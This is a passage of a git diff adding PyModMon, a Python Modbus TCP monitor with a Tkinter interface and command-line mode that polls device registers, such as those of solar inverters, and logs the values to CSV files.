Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even 